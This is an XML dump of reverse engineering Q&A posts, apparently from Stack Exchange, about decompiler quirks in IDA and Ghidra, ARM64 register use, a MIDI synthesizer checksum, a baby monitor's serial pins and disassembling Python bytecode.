  <row Id="22702" PostTypeId="2" ParentId="22701" CreationDate="2019-12-09T15:27:55.930" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://github.com/Siguza/ios-resources/blob/master/bits/arm64.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Siguza/ios-resources/blob/master/bits/arm64.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;x8 pointer to where to write the return value if &gt;128 bits, otherwise scratch register&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it seems x8 is used to pass an address at which the return value will land if it's too big, rather than the return value directly, hence indirect I suppose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find official documentation as the ARM page was barely loading for me.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-12-09T15:27:55.930" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22704" PostTypeId="2" ParentId="22684" CreationDate="2019-12-09T18:24:30.467" Score="0" Body="&lt;p&gt;in the Conditional Statement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ((cVar1 = func_0x8b4c55a0(), cVar1 == -0xe) || 1) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CVar1 is initialised and then evaluated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;func_0x8b4c55a0()  returns  random garbage  (basically it will return what was in eax register prior to calling the function &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now this can be -0xe or anything else from 0x0 to 0xffffffff &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the if will result in either True or False and the or (||) operator will always make it  TRUE     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so all the locals  a,b,c will be initialised and evaluated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it appears your binary was compiled with optimizations enabled&lt;br&gt;&#xA;and all of these dead code has been eliminated  and the&lt;br&gt;&#xA;__asm function block  has been inlined into your main().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically you can simply nop out the entire junk block.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-12-09T18:24:30.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22705" PostTypeId="2" ParentId="22682" CreationDate="2019-12-09T19:17:53.017" Score="1" Body="&lt;p&gt;Yes, that's certainly doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to analyze what code exactly is executed when a certain GUI action is performed. That would likely require knowledge of the used GUI API. Faking a button press in Qt is completely different from faking a button press in standard WinAPI dialogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be the higher layer to solve it, understand what that GUI action does (send a &lt;code&gt;WM_COMMAND&lt;/code&gt; message in WinAPI for example, or emitting a signal in Qt) and just do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is too closely to macroing/faking key presses for you, you'd have to see how the code does something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some made-up WinAPI pseudo code could be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(msg == WM_COMMAND and button_id == BTN_ENABLE_STATUSBAR)&#xA;    show_statusbar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if you don't want to send a fake &lt;code&gt;WM_COMMAND&lt;/code&gt;, you could inject code that calls show_statusbar() directly. But the target doesn't have to neatly wrap its code like that. It could just set some global vars and the redraw function would then read those vars later, see the status bar flag was set to visible and thus render the status bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all comes down to how cleanly the application separates GUI handling logic from application logic. Worst case the GUI handling code contains all of the application logic code. Then it would be difficult to just execute that code block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And best case as the made-up example where the GUI logic just calls another application logic function so you can easily do that on your own.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-12-09T19:17:53.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22707" PostTypeId="1" CreationDate="2019-12-10T03:41:26.843" Score="1" ViewCount="54" Body="&lt;p&gt;I'll be honest, Pin is confounding my intuition. Let's say, for the sake of argument, I have a line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; a = b + c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I wish to then store the addresses of b and c as a's dependencies, say, in a map, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m[address of a].append(address of b, address of c)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My current understanding of this involves &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (INS_IsMemoryRead(ins)||INS_IsMemoryWrite(ins))&#xA;for(memOp=0;memOp&amp;lt;INS_MemoryOperandCount(ins);memOp++)&#xA;INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR) AnalysisFunction, IARG_MEMORYOP_EA, memOp, IARG_THREAD_ID, IARG_END);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where AnalysisFunction would essentially take the memory address from the operation and somehow return it, or put it into a map. But I'm not entirely certain how to do that, or how to correlate the reads to writes properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="30425" LastActivityDate="2019-12-10T03:41:26.843" Title="Obtaining a relation between reads and writes with Pin" Tags="|pintool|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22708" PostTypeId="1" CreationDate="2019-12-10T05:25:24.247" Score="1" ViewCount="244" Body="&lt;p&gt;This is my first experience disassembling/reverse engineering, and am having a bit of difficulty keeping up. For reference, I'm trying to uncover the inner workings of a pretty good library in my industry. The following method takes in a string and returns some content represented by &lt;code&gt;long long&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signed __int64 __cdecl +[Lib generateLongLongValue:](Lib_meta *self, SEL a2, id a3)&#xA;{&#xA;  void *v3; // x0&#xA;  void *v4; // x19&#xA;  char *v5; // x0&#xA;  char *v6; // x20&#xA;  unsigned __int64 v7; // x25&#xA;  signed __int64 v8; // x22&#xA;  signed __int64 v9; // x26&#xA;  int v10; // w0&#xA;  signed __int64 v11; // x8&#xA;  signed __int64 v12; // x23&#xA;  int v13; // w0&#xA;  __int16 v14; // w24&#xA;  __int16 i; // w23&#xA;  __int16 v16; // w0&#xA;  bool v17; // w9&#xA;  signed __int64 v18; // x20&#xA;&#xA;  v3 = (void *)objc_retain(a3, a2);&#xA;  v4 = v3;&#xA;  v5 = (char *)objc_msgSend(v3, &quot;length&quot;);&#xA;  v6 = v5;&#xA;  v7 = (unsigned __int64)(v5 - 1);&#xA;  if ( v5 == (_BYTE *)&amp;amp;dword_0 + 1 )&#xA;  {&#xA;LABEL_25:&#xA;    v18 = -1LL;&#xA;    goto LABEL_26;&#xA;  }&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Converted into standard Objective-C, this would look like so (I think): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+ (NSInteger)generateLongLongValue:(NSString*)string&#xA;{&#xA;    NSInteger v18;&#xA;&#xA;    if (string.length - 1 == (_BYTE *)&amp;amp;dword_0 + 1) {&#xA;        v18 = -1LL;&#xA;        goto LABEL_26;&#xA;    }&#xA;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm really lost as to what &lt;code&gt;(_BYTE *)&amp;amp;dword_0 + 1&lt;/code&gt; is supposed to mean here. Could somebody please provide some sort of explanation, or provide resources that I can look into so I can understand for myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="30426" LastActivityDate="2019-12-10T14:09:46.083" Title="IDA - ObjC - Meaning of _BYTE and dword_0?" Tags="|ida|arm|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22709" PostTypeId="1" AcceptedAnswerId="22711" CreationDate="2019-12-10T06:17:06.023" Score="1" ViewCount="63" Body="&lt;p&gt;i have a vtech baby monitor and since i want to be aware of it while i'm playing in VR (PC, HTC vaive/Valve index) i still want to see if the baby starts crying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on this monitor there is external access to a 6 pin connector. opening the unit i see the pins are labeled:&#xA;SF_CSB,&#xA;SF_MISO,&#xA;VDD3,&#xA;TX,&#xA;RX,&#xA;GND.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The VDD,TX,RX,GND i think its a UART port, i need help identifying the other 2 pins. i found them on some LG TV's manuals but without explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anybody is familiure with this port?&lt;/p&gt;&#xA;" OwnerUserId="30427" LastActivityDate="2019-12-10T13:36:23.710" Title="id the HW port and protocol" Tags="|hardware|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22711" PostTypeId="2" ParentId="22709" CreationDate="2019-12-10T13:36:23.710" Score="1" Body="&lt;p&gt;It seems CSB is &lt;a href=&quot;https://electronics.stackexchange.com/questions/453360/why-ss-and-miso-of-sensor-is-permanently-high&quot;&gt;Chip select&lt;/a&gt;, and MISO (Master in/Slave out) is a typical name for an SPI pin. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-10T13:36:23.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22712" PostTypeId="2" ParentId="22708" CreationDate="2019-12-10T14:09:46.083" Score="1" Body="&lt;p&gt;I suspect you’ve got a false positive during analysis and a constant (0 or 1) got wrongly converted to an offset (probably because in your database 0 is a valid address). The decompiler uses info from disassembly so in cases like this it may be necessary to clean up the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press Tab on the line with &lt;code&gt;&amp;amp;dword_0&lt;/code&gt; and if there is an &lt;code&gt;offset dword_0&lt;/code&gt; or similar in the disassembly, press O to remove it, then Tab back to pseudocode and press F5 to refresh. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-10T14:09:46.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22713" PostTypeId="1" AcceptedAnswerId="22714" CreationDate="2019-12-10T15:53:13.783" Score="2" ViewCount="410" Body="&lt;p&gt;I'm reversing a binary that was apart of a CTF I was involved in about a month ago. It was too large of a binary to do during the challenge so I am doing it now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having trouble finding the &lt;em&gt;main function&lt;/em&gt; because the entry function is not the same as if this was written in C and compiled with GCC. I was wondering how I could go about finding the main function and if there were any resources that could assist me in my endeavors. &lt;/p&gt;&#xA;" OwnerUserId="30432" LastEditorUserId="-1" LastEditDate="2019-12-11T14:53:53.067" LastActivityDate="2019-12-11T14:53:53.067" Title="Finding &quot;func main&quot; in a stripped binary written in GO" Tags="|binary-analysis|binary|ghidra|x86-64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22714" PostTypeId="2" ParentId="22713" CreationDate="2019-12-10T16:52:41.560" Score="1" Body="&lt;p&gt;You can find some plugins that does the functions renaming for go language (and others as well). For example &lt;a href=&quot;https://github.com/ghidraninja/ghidra_scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; could be used and after renaming bunch of methods can be seen:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Q9pF0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q9pF0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-12-10T16:52:41.560" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22716" PostTypeId="2" ParentId="18451" CreationDate="2019-12-11T03:43:39.760" Score="0" Body="&lt;p&gt;First, the more samples of discrete messages you have the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, a one algorithm fits all approach isn't going to work. Use an ensemble of small simple recognizers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, it's coming from memory, so start by learning the memory representations for a specific thing, for example unint32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth, the most difficult part of this task is having pure data. You can be comparing string bytes to int bytes and get nowhere. If you have pure string bytes or pure float bytes, you'll make progress.&lt;/p&gt;&#xA;" OwnerUserId="30439" LastActivityDate="2019-12-11T03:43:39.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22718" PostTypeId="1" CreationDate="2019-12-11T10:51:14.060" Score="3" ViewCount="978" Body="&lt;p&gt;I am attempting to implement an editor for a discontinued hardware drum synthesizer which uses undocumented system exclusive MIDI messages for communication. I've figured out the patch format, but I am hitting a wall with the checksum algorithm(s) being used. I've tried a variety of approaches &amp;amp; tools (reveng, for instance) to attempt to figure out the calculation and have reached the limits of my abilities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all complicated by the fact that MIDI is restricted to 7 bits within the message (the header and footer bytes F0/F7 excepted). So there's the additional question of how overflows are handled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two types of messages I'm attempting to understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A voice request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0 33 7F 7F 08 03 07 40 00 0E F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0 33 7F 7F 08 03 05 00 13 F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in which the penultimate byte (0E, 13 in the examples) is some sort of checksum. I'm assuming that the two messages use the same algorithm, but I'm not even sure which bytes are actually being considered for the checksum calculation (since 0xF0 0x33 0x7F is always there for every message sent from or received by this instrument, it might be excluded, but I can't be sure). Here are a few more samples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0 33 7F 7F 08 03 07 40 1A 57 F7&#xA;F0 33 7F 7F 08 03 07 40 1B 5F F7&#xA;F0 33 7F 7F 08 03 07 40 1C 67 F7&#xA;F0 33 7F 7F 08 03 07 40 1D 6F F7&#xA;F0 33 7F 7F 08 03 07 40 1E 77 F7&#xA;F0 33 7F 7F 08 03 07 40 1F 7F F7&#xA;F0 33 7F 7F 08 03 07 40 20 1C F7&#xA;F0 33 7F 7F 08 03 07 40 21 14 F7&#xA;F0 33 7F 7F 08 03 07 40 22 0C F7&#xA;F0 33 7F 7F 08 03 07 40 23 04 F7&#xA;F0 33 7F 7F 08 03 07 40 24 3C F7&#xA;F0 33 7F 7F 08 03 07 40 25 34 F7&#xA;F0 33 7F 7F 08 03 07 40 26 2C F7&#xA;F0 33 7F 7F 08 03 07 40 27 24 F7&#xA;F0 33 7F 7F 08 03 07 40 28 5C F7&#xA;F0 33 7F 7F 08 03 07 40 29 54 F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or grouped by checksum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0 33 7F 7F 08 03 07 44 0D 00 F7&#xA;F0 33 7F 7F 08 03 07 45 1F 00 F7&#xA;F0 33 7F 7F 08 03 07 47 2A 00 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 44 1C 01 F7&#xA;F0 33 7F 7F 08 03 07 45 0E 01 F7&#xA;F0 33 7F 7F 08 03 07 46 29 01 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 44 2F 02 F7&#xA;F0 33 7F 7F 08 03 07 46 1A 02 F7&#xA;F0 33 7F 7F 08 03 07 47 08 02 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 45 2C 03 F7&#xA;F0 33 7F 7F 08 03 07 46 0B 03 F7&#xA;F0 33 7F 7F 08 03 07 47 19 03 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 40 23 04 F7&#xA;F0 33 7F 7F 08 03 07 41 31 04 F7&#xA;F0 33 7F 7F 08 03 07 42 16 04 F7&#xA;F0 33 7F 7F 08 03 07 43 04 04 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 41 20 05 F7&#xA;F0 33 7F 7F 08 03 07 42 07 05 F7&#xA;F0 33 7F 7F 08 03 07 43 15 05 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 40 01 06 F7&#xA;F0 33 7F 7F 08 03 07 41 13 06 F7&#xA;F0 33 7F 7F 08 03 07 43 26 06 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 40 10 07 F7&#xA;F0 33 7F 7F 08 03 07 41 02 07 F7&#xA;F0 33 7F 7F 08 03 07 42 25 07 F7&#xA;&#xA;F0 33 7F 7F 08 03 07 44 0F 10 F7&#xA;F0 33 7F 7F 08 03 07 45 1D 10 F7&#xA;F0 33 7F 7F 08 03 07 47 28 10 F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The checksums cover the full 7-bit range from 00 to 7F, but the occurrence of the lower 4 bits appears to be related to the lower 4 bits of the 0x4n byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other type of message is the actual voice data. This data uses a 28-bit (4 byte) checksum at the end of a packet (212 bytes total):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0337F19 08030600 00040000 00000000 03600000 02540070 18001640 17100D19 16010808 60021219 4B103112 4A000000 06600000 003C0070 18001640 17100D19 32652008 34033D48 03102C4F 0A000000 16420000 00580110 18001640 16580D19 1E012C08 7401760A 13102F17 47000000 16420000 00500070 18001640 16580D19 32007408 68033D75 7B102F57 4C000000 06420000 00500070 18001640 16580D19 32007408 7002517A 13102F17 4A000000 16420000 00580070 18001640 16580D19 32005C09 10023202 13102F57 48000001 5D7C65F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0337F19 08030600 00040000 00000000 03610000 02540070 18001640 17100D19 16010808 60021219 4B103112 4A000000 06600000 003C0070 18001640 17100D19 32652008 34033D48 03102C4F 0A000000 16420000 00580110 18001640 16580D19 1E012C08 7401760A 13102F17 47000000 16420000 00500070 18001640 16580D19 32007408 68033D75 7B102F57 4C000000 06420000 00500070 18001640 16580D19 32007408 7002517A 13102F17 4A000000 16420000 00580070 18001640 16580D19 32005C09 10023202 13102F57 48000000 6A7101F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F0337F19 08030600 00040000 00000000 03620000 02540070 18001640 17100D19 16010808 60021219 4B103112 4A000000 06600000 003C0070 18001640 17100D19 32652008 34033D48 03102C4F 0A000000 16420000 00580110 18001640 16580D19 1E012C08 7401760A 13102F17 47000000 16420000 00500070 18001640 16580D19 32007408 68033D75 7B102F57 4C000000 06420000 00500070 18001640 16580D19 32007408 7002517A 13102F17 4A000000 16420000 00580070 18001640 16580D19 32005C09 10023202 13102F57 48000003 73762BF7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The changes to the 1st byte of the checksum (01, 00, 03) in response to the change to the lower 4 bits of byte 41 (0, 1, 2) is certainly a hint, but I'm not getting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if anyone has a suggestion about a reasonable way to proceed, I'd be thankful. The company which manufactured this instrument has no interest in supporting their old(er) hardware, and refuses to provide any sort of system exclusive documentation. The company has used CRC algorithms on other instruments for similar purposes, but nothing corresponds to what I'm seeing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's any interest, I'm happy to provide additional sample data (I realize that just a few samples isn't adequate) -- I have 256 request messages and more than 160 complete voices available for analysis. I can also generate data to test the effect of changes to different parts of the full message. Thanks for taking a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've solved the checksum for the short messages. It's the CRC16(CCITT) of &lt;code&gt;(full message previous to that byte) &amp;gt;&amp;gt; 9 &amp;amp; 0x7F&lt;/code&gt;. I figured this out by hacking on the binary of a computer-based utility program from the company (requests banks of voices) in a disassembler. I'm guessing that the long messages are something similar, just with more bytes, will report back when I know more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long messages also use the above formula for the penultimate byte. However, the 3 bytes previous remain a mystery at this point and I'm not finding anything conspicuous in the binary I have -- these bytes are generated on the hardware, rather than at the 'client'. It still looks like a 16-bit value spread across 3 7-bit-limited bytes. I just haven't determined how that value is generated.&lt;/p&gt;&#xA;" OwnerUserId="30443" LastEditorUserId="30443" LastEditDate="2019-12-12T23:02:42.067" LastActivityDate="2020-08-12T15:00:35.310" Title="Reverse engineering a checksum algorithm" Tags="|hardware|crc|binary-diagnosis|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22719" PostTypeId="1" AcceptedAnswerId="22721" CreationDate="2019-12-11T14:20:43.027" Score="0" ViewCount="156" Body="&lt;p&gt;I am on the last version of IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a function B, that its signature is &lt;code&gt;B(int a,int b)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a function A that calls it. &#xA;But in function A, the call appears like &lt;code&gt;B(12)&lt;/code&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make it synchronized / decompile just function A again? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="22690" LastEditorUserId="22690" LastEditDate="2019-12-11T16:23:22.460" LastActivityDate="2019-12-11T16:26:42.570" Title="IDA decompiled function signature mismatch" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22720" PostTypeId="1" CreationDate="2019-12-11T16:24:22.753" Score="0" ViewCount="158" Body="&lt;p&gt;I'm interested in reversing a UWP program made using &lt;a href=&quot;https://github.com/microsoft/react-native-windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;React Native for Windows&lt;/a&gt;. Once such applications are compiled, the logic is contained in one dll. After opening this dll into IDA, it appears pretty clear that the file contains a .NET part (located in the section &lt;code&gt;.rdata&lt;/code&gt;) and generic stub as native code in the &lt;code&gt;.text&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone already succeed to extract the .NET code in the &lt;code&gt;.rdata&lt;/code&gt; section and open it in a standard decompiler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2019-12-11T16:24:22.753" Title="Extract .NET code from React Native for Windows" Tags="|ida|.net|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22721" PostTypeId="2" ParentId="22719" CreationDate="2019-12-11T16:26:42.570" Score="2" Body="&lt;p&gt;You can go to function A and press &lt;code&gt;y&lt;/code&gt; on the call to B, and edit to &lt;code&gt;int B(int a, int b)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-12-11T16:26:42.570" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22722" PostTypeId="2" ParentId="18593" CreationDate="2019-12-11T20:18:28.667" Score="2" Body="&lt;p&gt;Answering my own question for anyone in the future that comes across this post searching for answers to games that use the same middleware (SCE-RT/Medius SDK), the packet above is a standard x509 certificate. You can binwalk your game's executable and extract the unformatted certificate.&lt;/p&gt;&#xA;" OwnerUserId="24798" LastActivityDate="2019-12-11T20:18:28.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22723" PostTypeId="1" CreationDate="2019-12-11T23:06:00.363" Score="1" ViewCount="153" Body="&lt;p&gt;I am trying to reverse engineer an unknown JSON binary serialization format found in a request-response pair between a mobile app, and a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone recognize this? I've attached the first 640B of 68 request and response pairs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Request data: &lt;a href=&quot;https://termbin.com/4atc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://termbin.com/4atc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Response data: &lt;a href=&quot;https://termbin.com/04ib&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://termbin.com/04ib&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Response data(ungz): &lt;a href=&quot;https://termbin.com/31va&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://termbin.com/31va&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One full req: &lt;a href=&quot;https://termbin.com/5sa7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://termbin.com/5sa7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One full resp: &lt;a href=&quot;https://termbin.com/m2wy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://termbin.com/m2wy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the embedded string, I thought the encoding was CBOR RFC7049 based on the Type, Length, Value encoding, 0x78 0x6b followed by 107 characters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000180: e807 4100 0878 6b4e 4641 4e44 524f 4944 312d 5052 562d 502d 4c33 2d53 414d 5355  ..A..xkNFANDROID1-PRV-P-L3-SAMSU&#xA;000001a0: 534d 2d47 3933 3546 2d34 3434 352d 3030 3030 3030 3030 3030 3030 3030 3030 3030  SM-G935F-4445-000000000000000000&#xA;000001c0: 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030  00000000000000000000000000000000&#xA;000001e0: 3030 3030 3030 3030 3030 3030 3030 305f 3531 0950 7673 c75e e626 663d b4f0 5e93  000000000000000_51.Pvs.^.&amp;amp;f=..^.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to RFC7049 Table 5, this is a UTF-8 string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   +-----------------+-------------------------------------------------+&#xA;   | Byte            | Structure/Semantics                             |&#xA;   +-----------------+-------------------------------------------------+&#xA;   | 0x78            | UTF-8 string (one-byte uint8_t for n, and then  |&#xA;   |                 | n bytes follow)                                 |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I am still unable to decode the entire message. Any pointers appreciated!&lt;/p&gt;&#xA;" OwnerUserId="30447" LastEditorUserId="30447" LastEditDate="2019-12-12T18:20:52.010" LastActivityDate="2019-12-15T01:12:59.757" Title="Which JSON object compact binary serialization is this?" Tags="|binary-analysis|encodings|binary-format|networking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22724" PostTypeId="2" ParentId="22723" CreationDate="2019-12-12T07:57:44.453" Score="1" Body="&lt;p&gt;1f 8b is gzip header magic so try decompressing it first, it may just be raw json&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-12T07:57:44.453" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22726" PostTypeId="2" ParentId="22661" CreationDate="2019-12-12T12:20:19.063" Score="2" Body="&lt;p&gt;As you said, &lt;code&gt;.pyc&lt;/code&gt; files begin with a magic (per python version)+timestamp.&#xA;The tools sometimes fail reading these files despite them being correctly structured.&#xA;Anyhow, this metadata is not required for decompiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get to the beginning of the marshal'd code, usually at offset 8 from the beginning of the &lt;code&gt;.pyc&lt;/code&gt; file, you can use python's built-in &lt;code&gt;dis&lt;/code&gt; and &lt;code&gt;marshal&lt;/code&gt; libraries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import dis&#xA;import marshal&#xA;f = open(&quot;file.pyc&quot;,&quot;rb&quot;)&#xA;f.seek(8) #assuming there are magic numbers at the beginning&#xA;code = marshal.load(f)&#xA;dis.dis(code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inconveniently, it prints the code to &lt;code&gt;stdout&lt;/code&gt; instead of returning it as text to the caller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you run the code from the python version that the &lt;code&gt;.pyc&lt;/code&gt; is originally compiled for.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="245" LastEditDate="2019-12-17T23:06:13.713" LastActivityDate="2019-12-17T23:06:13.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
